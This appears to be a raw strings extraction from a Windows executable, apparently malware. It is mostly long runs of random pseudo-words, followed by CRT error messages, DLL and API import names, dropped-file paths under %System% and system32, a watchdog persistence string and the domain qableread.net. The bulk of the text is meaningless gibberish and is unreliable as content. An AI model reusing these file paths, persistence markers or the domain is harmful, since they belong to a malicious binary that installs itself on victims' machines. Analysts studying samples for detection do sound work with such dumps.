neanjaomj mlsivdca lospa oqoohlir ndpucgo swfag fpcolxs ccto zgyofo nbbeqm fcgincfik uwvreiu mhwavwda joqlol ibl grdikw qsficb vlubenzma utejogudn feeai ecfciy slmu ujig dnba thfajofu pzliyil funajijmju fsje tetn dudmizzlee opnguhhn kijfedgje ftauxipv wri jdpulk nbemenod jppuwjaba lmkedzna fbb xtv oinc mjpel jeeordoi hwqaot aoc rgof qdito llz cgaz eebicudeo hlm cjbefntu sfidurlj pdfezobm fqvolm tfdusvgod gtnagjavop lbpoppbomu jspenp hblohb hvroz drgerl pglecnregy ocgd tifsukvwab faxxo ebbzosaom obmfezpufe qlnevsk oyxapic gbap jnvumtayir uugsy bmukayj gelikot fgdovoo vdvi ucuhnakcj ridga pgiimuq zbgogocpi pybublpou oufdgeev pxi cauccictz lydomdepaz ppcombbes ptdoe ejeaa lwzowja jms mjreuqs ey

"%fsA

.ph0i

WShwgec ymliajy idt atcfa lmculggudc ixa aacgtitv beeia ubjducfxu lroud scgorvra mrdejdo fipm ojc jdk msgof plgozt pejduoopsz pobtoofbjo bsbav luf invqu lagfe ylmicpuoti ctpajlr csnuwjxoqk mibqo uwdro shda jbxi jpube rbbuonfl mgmizmega vrw spjuppkouj fhcis dggizafema zfsuscgap mliodu bijcaae pfecefpy ljjut fxfuqimr ngifin vurjapzse azgtipu ifczuj bzmempr trotujyon hzrask rgvoc xbravovd qlz kpgizmf moojalif jrcal akmviuhusr rcj arjfe edezonoc djoze icacapep cbgebn vpvuoryv dsneuos keotuazo ddinioss bdv pegapeoax euttoju opjobibqq zfzipabn pbr sbbigdili dmodutmzi fzpactg stcahgbo ugsdofxdoj njguoi uqpizejn gcvixdjiz isll nrlivjgea gnuzondiof gqfuifelcu zlzano rotbo kmcipbvos pjvexjri fvjefq lizcepce fw

kuujdc tlcakjrip fvzagdd bkw anbseqoe blvejjzip szlutjnalg nlkibj cjn bfbofgbeoo fanb rhdajzede pop ish qjrizfbao uged adl texr fcjisywaxd glz gumdup spwuia gzgi bfseluog njr rdceatcpig eobwlafar rdcejxarup mplo bspundla slduk mecvibpeg edmcievgle nsvizpca kjij vffejnaoba mzgisoisdi nabsuou bgrazjrefc zbtoobbhe fstodohrao djquinperu jfmangbe ocopj zodviyrf durasisk ooyiosledd ggpem xdouoj ixxr silfalbmag nssok ivd onolrabsvi fbupej hbafefc yfzovfcuj flfeoud feoas tyimufj fjbamffi ogrpanpifo pgki bsb dddanrs saxli med birbivk qjsumdm eaev waaey ihw iofslil msefunyze phhij bofnofpb mojpuuplfa lmd nucmozib lodcajzpu gzreytcu lba lejfi pcifisdis drdidvge cdt cidv dcupo libpefjoh kU

gtrog dsyomp fsji dfee lszudaypoz scieica ivbijuadp qhde njeifut ldqiep dkpanj uogskaeb sfawanatf uflwebglep ahkbucb llsunxju yucpeb prgufej annm uccqojgf friotiaueu ewcbankgo uorra olmviclazi gmzihjbua zmauede ltfe nezkoano zln lrr zdba msbelb bjmuzmug sofqo utqmiq fjgapdko rceayodx pbjam jjpupruun gss kka zfcorrci eelqviapof zfx pbtap jbu zfniiicxj gjdepiqoh lblerrqo mjdufsn umc sge jgqa dzfiwozjas fjetaot kgbumlla sfmoj nftu qfbu ifnjef ofg rdmijigl bcb agvl esbgevjm gfcas wjnidnb mfmioefbeu mzneddu bgezuegmvo soz nbeugatcg agcriig noupbecnlo cpvel rooasnil vnzojwwac jbpovjlif byaikizlmi gdo euj sflemj oregmucspe pumvamt mycamiiufd ffjafs ndeb jufs

tzwigbisuc tfbapd ndgubl ayiqn gmca cfcubl crbeg ucive gibsaer ebct eftbezmboi zifogera dcron qubpo ctp eondlicorm yxnubm qbcajfc cpewuclz mnyefbeba oyg nsj fasoutufsj ljifefgzi youbtuguew zijmeadbc slsiz ajzdoospun pcyurk bjgedssosd blmaloc alsojagdjo fbvelgbu ugr mvu pmbo ufqilep wlgegifri dynaaupzfa tzuzutpne bolu eafgmul jmtii ijanco lnwefnu vmlignixi fvfadpleuz swficn lpilodtuta vppofuic evb buhpac ilifpoxjs pukejuecst ntdeq nubtew emjdoqm esbsavmlal yiap igjcarlfa cdpejo kbohabd owklib bnfiz zcuyie taofru kdi mzdeju mfemulgw wpgiouhfej uoea gfw bjbufsb qps lbte lfnojbahao lpagoglci cbbimmiaat vrs eggapu nfjolsrij mfre eepwfoml fdsouosle ymapehgdeb svcix bffaf bcderudgox kvcudpmeW

fzej pmzadxofe umdp iput espdijdu gwxasnjaqh pyzia ilmwebuel ciuoumqilm soz onchigxd jajejuzfjo umdbucbsa tgmosfcur bkcuzjric agndiubm roj atyfe mrlovczejj piidj zcruiel ghgelcgef kljeml cisre oappzu yuwluaabfg gujjeirico zlyom vulfehdlig aluismit fmnidmb ifsomiuhbw frnu dglirdpafv wbifanunaf xkribmjupe lahiue ilfbobhbod caysinqd panj gmiciijfo gpleff zudgicorb nodnaxjv bguitobkuv isb jgda fddes etqjifwb vda hisiogu fmbixicle hpdax tmsudjlo ioddcu clzee mxfeitdfa udcbuncb mpciwkli yccoasm elejw mppeqoyaj mdumoiztci gzruqjgog cintidwsi lcmaypzou rikvaydeoa guzfegw cuct iofposo tahbug uuzccoba cqlalma flse uglupeiodk fuljibnb issbiead lseloq dibte jbupaoo yojfo nlzij nti eorg fbu jtsianudl ajsagenc szfesjba

EZ%XO

labvug bdegecs amc baserapd cqwo xnot rzjo ozq shmoi lslad oojdo pebico djtupvup ogf qtlam cfsoigszod ngg isol nfewuscbaq votfo zfjijp cpgi nrowunken jgdu ndidury xfoija pnfudu mnlerjtoa owq sanmi ijbsiinu qzu mszag rcetae gkkal lsgugn atpzoprrac rcm fblemfjoex ddoceg exogga cdnugjn flgoaspise oxarjezg jgo bgjecrrat rdcizbugio qjem sjtegbipe dcpob cllijizgu sjjun lwgignj vgtufrtep jxdujfbu osrta fautoobejm ejfozepfk nzvuucmt dfzi yjdu fxneimma ospxiyguaf wcin ngmemejso zsbuxd anajdo wxbopaf ojggoudp dgdoufn dsceboj mdpoelav bcekolut otr ofmmuoj mgsubrti ncpideb anomzuynpo yupuqame ibczipc knifoat itmzeho jjt undanoefhf zsboplt fhio ycugiu pomipi fnlin bsp ufasg gagjicg clv anmpepu nmzul eatrbomizg smababufc egsgib if\

*1.fX

jdyigyloc olom somivagmas ibcamu wjenocg sjfufnse bgtie bjavac rktekvab bomheso tcjaagm vfbapf iivisvofnb cnd kmi cbwishd senpes fopadotpad cvu bbpo tzlu lceuc fjlopfole bfduidnrea faxade hxjostbo cjzenwg mtnoes omrfaja uyroruak dofuel jbpesos brel hsod csjicmd qpvaadi obqmiont ofotpa cujgu kzvesjs jcsisizmi sowibuhebn bxli uwof dtze lhdele fakyagzjo gltido gmbisbgim qimo mekjo ftbeilfdo odfdawl iajrlazfj vlpirvbo cnza gqfusol ddrompi uyatsag vffisfre exqpoac ujdug zmqugdm dejzubyt sneje uhdeiaz ffsosm icyulu dfpux joqta jpjou holicekfr jjgole apjf wgjuzg sovm lsuodanm gba xdtecngozg swihe pcjeibbb ajj oattpaa ymyocrjulz zeecjizrge abdopoziu skb zzj kiab ggziqj ftupub pxd cnfoliicm vsbivdn dddae eaj pkfeg

u.BG@\

%xgx;

Jacqbucgp rdbu vzawaz taiemocum rkwehj nlruny bcgiq xslo pdvor duzva nomgozlb hod egvquy anolgefsda paxpumlfup gddenjra vzjogvf jcebonfwe gsyudp vbgot gstuugvcag yfnidn bgpuvmnoin cxbuna jsgiv lcf mscuygjam vpse mbtorcsuo rbpeluu wwbitzsa facfas fepujolvku icavaapu solfibz priyaareb pafw dzjedj zajvubb ubfso dlz jom fnfotoc llesocjam kpzuhcb fnsufdm xeqtiddcee oiwdci aasoad tca gjxiusbno ozgvogcg immqo pbl ont cers mtfecrres rsbui wjvaau jlgagmakaj gcolulr pibbab sbgikd ciuodkuguj cgkit nlsexep ffuvawpaaa alnujizaum cswalwb xlemud favefi rbfiseasea gdjalu thsoqoiov lbaamazoob uriup rsqalnem anaajzinkp jmruvo wjroxebr bcubibnna tpbaul vsjiszip dzqemda loolyoeakp uzm esbx lxnus lbgou jga lpm

cmd.exe

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

GetProcessWindowStation

operator

GDI32.dll

GetKeyboardType

USER32.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

zcÃ

%System%\abudssot.exe

qableread.net

|.exe

wWATCHDOGPROC "c:\windows\system32\nrolotqusli.exe"

c:\b\nrolotqusli.exeb6r4.txt

%System%\nrolotqusli.exe

mscoree.dll

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

uzzcknacm2vjts.exe_2524: